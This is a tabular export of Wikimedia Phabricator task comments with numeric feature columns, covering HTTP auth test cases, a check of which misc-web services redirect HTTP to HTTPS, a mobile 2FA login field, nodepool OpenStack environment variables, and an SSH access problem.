[[https://gerrit.wikimedia.org/r/225843]]",,,1437519710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.4,0.9,"Change 225843 merged by jenkins-bot:
Run SITE_ONLY tests on wiki.musicbrainz.org

[[GERRIT_URL]]"
493756,Add http auth support for www.musicbrainz.org,"Change 225843 had a related patch set uploaded (by VcamX):
Run SITE_ONLY tests on wiki.musicbrainz.org

[[https://gerrit.wikimedia.org/r/225843]]
",,,1437367030,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.24,0.88,"Change 225843 had a related patch set uploaded (by VcamX):
Run SITE_ONLY tests on wiki.musicbrainz.org

[[GERRIT_URL]]
"
484063,Add http auth support for www.musicbrainz.org,"Thanks for investigating the OAuth & HTTP Digest Auth aspects.

Yes, adding musicbrainz.org as a test case will be useful, so we do not accidentally regress http basic support as we did in T101494.",,,1435652802,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,18.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,5.0,10.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,4.230769230769231,0.8974358974358975,"Thanks for investigating the OAuth & HTTP Digest Auth aspects.

Yes, adding musicbrainz.org as a test case will be useful, so we do not accidentally regress http basic support as we did in T101494."
484023,Add http auth support for www.musicbrainz.org,"@jayvdb, under my investigation, OAuth and HTTP Digest Auth on musicbrainz.org work for its web service, which is its specific service, not MediaWiki API. So I think it's not applicable for test. But it uses both cookies and http basic auth for account login, it could be a test case.

#### Reference:
https://musicbrainz.org/doc/Development/XML_Web_Service/Version_2
https://musicbrainz.org/doc/Development/OAuth2",,,1435645063,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-4sidei2jix6luyxcjeuv,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,3.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,10.0,7.0,10.0,0.0,0.0,0.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.757142857142857,0.7142857142857143,"SCREEN_NAME, under my investigation, OAuth and HTTP Digest Auth on musicbrainz.org work for its web service, which is its specific service, not MediaWiki API. So I think it's not applicable for test. But it uses both cookies and http basic auth for account login, it could be a test case.

#### Reference:
URL
URL"
103773,check if services behind misc-web enforce http->https redirect or not,https://wikitech.wikimedia.org/wiki/User:Dzahn/misc-web-https,Needs Triage,90.0,1435196829,1435249504.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uyostsqwp5mg7ko57qkc,task_description,resolved,True,c3,2,True,True,True,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
481758,check if services behind misc-web enforce http->https redirect or not,"stat1001 - removed
dev - pending to be removed
download/dumps - afair there were concerns to enforce https here (what where they exactly?)
releases - uses @webserver class unlike most other services, can't just edit config template 
git - to be replaced anyways? phab
graphite/grafana - concerns because of internal tools using it? was moved behind misc-web anyways
parsoid-tests - ??",,,1435249667,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uyostsqwp5mg7ko57qkc,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,4.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,9.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,4.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,4.024390243902439,0.7073170731707317,"stat1001 - removed
dev - pending to be removed
download/dumps - afair there were concerns to enforce https here (what where they exactly?)
releases - usesSCREEN_NAME class unlike most other services, can't just edit config template 
git - to be replaced anyways? phab
graphite/grafana - concerns because of internal tools using it? was moved behind misc-web anyways
parsoid-tests - ??"
481752,check if services behind misc-web enforce http->https redirect or not,"All service names configured in ''./templates/varnish/misc.inc.vcl.erb''. Are they enforcing https?

{| class=""wikitable sortable""
|-
! service name !! redirects http->https?
|-
| [http://git.wikimedia.org git.wikimedia.org] || NO
|-
| [http://doc.wikimedia.org doc.wikimedia.org] || YES
|-
| [http://integration.wikimedia.org integration.wikimedia.org] || YES
|-
| [http://download.wikimedia.org download.wikimedia.org] || NO (dumps.wikimedia.org)
|-
| [http://gerrit.wikimedia.org gerrit.wikimedia.org] || YES
|-
| [http://gdash.wikimedia.org gdash.wikimedia.org] || YES
|-
| [http://performance.wikimedia.org performance.wikimedia.org] || YES
|-
| [http://graphite.wikimedia.org graphite.wikimedia.org] || NO
|-
| [http://logstash.wikimedia.org logstash.wikimedia.org] || YES
|-
| [http://releases.wikimedia.org releases.wikimedia.org] || NO
|-
| [http://scholarships.wikimedia.org scholarships.wikimedia.org]|| YES
|-
| [http://transparency.wikimedia.org transparency.wikimedia.org] || YES
|-
| [http://grafana.wikimedia.org grafana.wikimedia.org] || NO
|-
| [http://iegreview.wikimedia.org iegreview.wikimedia.org] || YES
|-
| [http://annual.wikimedia.org annual.wikimedia.org] || YES
|-
| [http://policy.wikimedia.org policy.wikimedia.org] || YES
|-
| [http://parsoid-tests.wikimedia.org parsoid-tests.wikimedia.org] || NO (?)
|-
| [http://horizon.wikimedia.org horizon.wikimedia.org] || YES
|-
| [http://phabricator.wikimedia.org phabricator.wikimedia.org] || YES
|-
| [http://phab.wmfusercontent.org phab.wmfusercontent.org] || YES
|-
| [http://bugzilla.wikimedia.org bugzilla.wikimedia.org] || YES
|-
| [http://bugs.wikimedia.org bugs.wikimedia.org] || YES
|-
| [http://static-bugzilla.wikimedia.org static-bugzilla.wikimedia.org] || YES
|-
| [http://dev.wikimedia.org dev.wikimedia.org] || YES (actually redirect on cluster, remove)
|-
| [http://svn.wikimedia.org svn.wikimedia.org] || NO (about to be removed)
|-
| [http://servermon.wikimedia.org servermon.wikimedia.org] || YES
|-
| [http://people.wikimedia.org people.wikimedia.org] || YES
|-
| [http://ishmael.wikimedia.org ishmael.wikimedia.org] || YES
|-
| [http://racktables.wikimedia.org racktables.wikimedia.org] || YES
|-
| [http://rt.wikimedia.org rt.wikimedia.org] ||YES
|-
| [http://metrics.wikimedia.org metrics.wikimedia.org] || YES
|-
| [http://datasets.wikimedia.org datasets.wikimedia.org] || NO
|-
| [http://stats.wikimedia.org stats.wikimedia.org] || YES
|-
| [http://stat1001.wikimedia.org stat1001.wikimedia.org] || NO (broken, not in DNS)
|-
| [http://config-master.wikimedia.org config-master.wikimedia.org] || NO
|-
| [http://noc.wikimedia.org noc.wikimedia.org] || YES
|-
| [http://dbtree.wikimedia.org dbtree.wikimedia.org] || YES
|-
| [http://hue.wikimedia.org hue.wikimedia.org] || YES
|-
| [http://yarn.wikimedia.org yarn.wikimedia.org] || YES
|-
| [http://planet.wikimedia.org planet.wikimedia.org] || YES
|-
| [http://en.planet.wikimedia.org *.planet.wikimedia.org] || YES
|-
| [http://etherpad.wikimedia.org etherpad.wikimedia.org] || NO
|}
",,,1435249496,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uyostsqwp5mg7ko57qkc,task_subcomment,,True,c3,2,True,,,-1,True,0.2,0.0,0.0,0.2,0.2,1.0,0.0,0.0,0.0,0.0,0.4,0.4,0.0,0.0,0.0,0.0,0.0,0.8,0.8,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.2,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,17.4,0.0,0.0,1.4,0.0,0.0,0.6,0.0,0.6,7.2,0.4,0.0,0.2,0.8,10.2,0.6,0.2,0.0,0.2,0.0,0.0,0.0,0.0,0.2,0.0,0.0,11.6,3.6586125429553262,0.28923969072164946,"All service names configured in ''./templates/varnish/misc.inc.vcl.erb''. Are they enforcing https?

{| class=""wikitable sortable""
|-
! service name !! redirects http->https?
|-
| [URL git.wikimedia.org] || NO
|-
| [URL doc.wikimedia.org] || YES
|-
| [URL integration.wikimedia.org] || YES
|-
| [URL download.wikimedia.org] || NO (dumps.wikimedia.org)
|-
| [URL gerrit.wikimedia.org] || YES
|-
| [URL gdash.wikimedia.org] || YES
|-
| [URL performance.wikimedia.org] || YES
|-
| [URL graphite.wikimedia.org] || NO
|-
| [URL logstash.wikimedia.org] || YES
|-
| [URL releases.wikimedia.org] || NO
|-
| [URL scholarships.wikimedia.org]|| YES
|-
| [URL transparency.wikimedia.org] || YES
|-
| [URL grafana.wikimedia.org] || NO
|-
| [URL iegreview.wikimedia.org] || YES
|-
| [URL annual.wikimedia.org] || YES
|-
| [URL policy.wikimedia.org] || YES
|-
| [URL parsoid-tests.wikimedia.org] || NO (?)
|-
| [URL horizon.wikimedia.org] || YES
|-
| [URL phabricator.wikimedia.org] || YES
|-
| [URL phab.wmfusercontent.org] || YES
|-
| [URL bugzilla.wikimedia.org] || YES
|-
| [URL bugs.wikimedia.org] || YES
|-
| [URL static-bugzilla.wikimedia.org] || YES
|-
| [URL dev.wikimedia.org] || YES (actually redirect on cluster, remove)
|-
| [URL svn.wikimedia.org] || NO (about to be removed)
|-
| [URL servermon.wikimedia.org] || YES
|-
| [URL people.wikimedia.org] || YES
|-
| [URL ishmael.wikimedia.org] || YES
|-
| [URL racktables.wikimedia.org] || YES
|-
| [URL rt.wikimedia.org] ||YES
|-
| [URL metrics.wikimedia.org] || YES
|-
| [URL datasets.wikimedia.org] || NO
|-
| [URL stats.wikimedia.org] || YES
|-
| [URL stat1001.wikimedia.org] || NO (broken, not in DNS)
|-
| [URL config-master.wikimedia.org] || NO
|-
| [URL noc.wikimedia.org] || YES
|-
| [URL dbtree.wikimedia.org] || YES
|-
| [URL hue.wikimedia.org] || YES
|-
| [URL yarn.wikimedia.org] || YES
|-
| [URL planet.wikimedia.org] || YES
|-
| [URL *.planet.wikimedia.org] || YES
|-
| [URL etherpad.wikimedia.org] || NO
|}
"
103771,MF Special:Login doesn't have a field for 2FA,This doesn't allow for logins to WT on mobile with TOTP codes.,Needs Triage,90.0,1435194938,1435697577.0,PHID-USER-zcsdm7lwcehnusyhh6xp,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-xhlvq5ortc7umakdby2q,task_description,resolved,True,c3,2,False,False,True,-1,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,1.0,This doesn't allow for logins to WT on mobile with TOTP codes.
485167,MF Special:Login doesn't have a field for 2FA,"@Jdlrobson: sorry for not responding here, but i'm in vacation and a bit busy :) But yeah, that will help, enabling this option for wikitech only sounds resonable, too.",,,1435784248,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,3.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.9166666666666665,0.8888888888888888,"SCREEN_NAME: sorry for not responding here, but i'm in vacation and a bit busy :) But yeah, that will help, enabling this option for wikitech only sounds resonable, too."
484545,MF Special:Login doesn't have a field for 2FA,"That patch got merged.
If you enable $wgMFNoLoginOverride = true;  in your LocalSettings it should work as normal. If not please file a new more specific bug.
Hope that helps!",,,1435697577,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,5.0,0.0,8.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,8.0,10.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.7948717948717947,0.8974358974358975,"That patch got merged.
If you enable $wgMFNoLoginOverride = true;  in your LocalSettings it should work as normal. If not please file a new more specific bug.
Hope that helps!"
481978,MF Special:Login doesn't have a field for 2FA,"@florian won't https://gerrit.wikimedia.org/r/#/c/219754/ fix this?
",,,1435264338,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"SCREEN_NAME won't URL fix this?
"
481974,MF Special:Login doesn't have a field for 2FA,I think the best way of resolving this would be to fix: {T74910},,,1435264176,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.25,1.0,I think the best way of resolving this would be to fix: {T74910}
481292,MF Special:Login doesn't have a field for 2FA,"The token input will soon no longer be on the login page anyway, but I am not sure how MobileFrontend renders extension special pages.",,,1435200114,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-xhlvq5ortc7umakdby2q,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.269230769230769,1.0,"The token input will soon no longer be on the login page anyway, but I am not sure how MobileFrontend renders extension special pages."
103673,nodepool users should have OpenStack env variables set on login,"The OpenStack utilities installed on nodepool can be configured via env variable to pass the tenant, user, password etc. It would be rather convenient to have the env variable to be loaded in the nodepool user profile.

At a minimum:
```
lang=bash
OS_USERNAME=nodepoolmanager
OS_PASSWORD=
OS_TENANT_ID=contintcloud
OS_AUTH_URL=http://labcontrol1001.wikimedia.org:35357/v2.0/
```

Will let us run `openstack server list` among others.",Needs Triage,90.0,1435146264,1438164123.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-yxjc673m44uonw7utyg3,task_description,resolved,True,c3,2,True,True,True,-2,True,0.0,0.0,0.0,4.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.267857142857143,0.7321428571428571,"The OpenStack utilities installed on nodepool can be configured via env variable to pass the tenant, user, password etc. It would be rather convenient to have the env variable to be loaded in the nodepool user profile.

At a minimum:
``CODE`CODEopenstack server list` among others."
498797,nodepool users should have OpenStack env variables set on login,"/var/lib/nodepool/.profile is populated by puppet 
",,,1438164123,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,0.9,"/var/lib/nodepool/.profile is populated by puppet 
"
489875,nodepool users should have OpenStack env variables set on login,Pending puppet to run on labnodepool. Currently blocked by T105406,,,1436514327,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.181818181818182,1.0,Pending puppet to run on labnodepool. Currently blocked by T105406
489655,nodepool users should have OpenStack env variables set on login,"Change 220444 merged by Andrew Bogott:
nodepool: provide openstack env variables to system user

[[https://gerrit.wikimedia.org/r/220444]]",,,1436475412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.304347826086956,0.8695652173913043,"Change 220444 merged by Andrew Bogott:
nodepool: provide openstack env variables to system user

[[GERRIT_URL]]"
480688,nodepool users should have OpenStack env variables set on login,"Change 220444 had a related patch set uploaded (by Hashar):
nodepool: provide openstack env variables to system user

[[https://gerrit.wikimedia.org/r/220444]]
",,,1435148268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.0344827586206895,0.896551724137931,"Change 220444 had a related patch set uploaded (by Hashar):
nodepool: provide openstack env variables to system user

[[GERRIT_URL]]
"
480679,nodepool users should have OpenStack env variables set on login,"We can probably use the puppet wmflibs function `shell_exports`:

Invocation:
  shell_exports({
    apache_run_user => 'apache',
    apache_pid_file => '/var/run/apache2/apache2.pid',
  })

Output:

  export APACHE_RUN_USER=""apache""
  export APACHE_PID_FILE=""/var/run/apache2/apache2.pid""

",,,1435146869,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-yxjc673m44uonw7utyg3,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,8.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.416666666666667,0.6166666666666667,"We can probably use the puppet wmflibs function CODE:

Invocation:
  shell_exports({
    apache_run_user => 'apache',
    apache_pid_file => '/var/run/apache2/apache2.pid',
  })

Output:

  export APACHE_RUN_USER=""apache""
  export APACHE_PID_FILE=""/var/run/apache2/apache2.pid""

"
103354,Can't login to catgraph instance,"When trying to ssh to sylvester I get the following:

```
$ ssh -A jkroll@sylvester.eqiad.wmflabs 

If you are having access problems, please see:https://labsconsole.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
Permission denied (publickey).
```

The catgraph service which should be running there is not reachable either (connection refused).

Special:NovaInstance shows the instance as ACTIVE. Tried rebooting it via the web interface, no change.

I can ssh to other instances in the same project normally, and the services are running there as well.

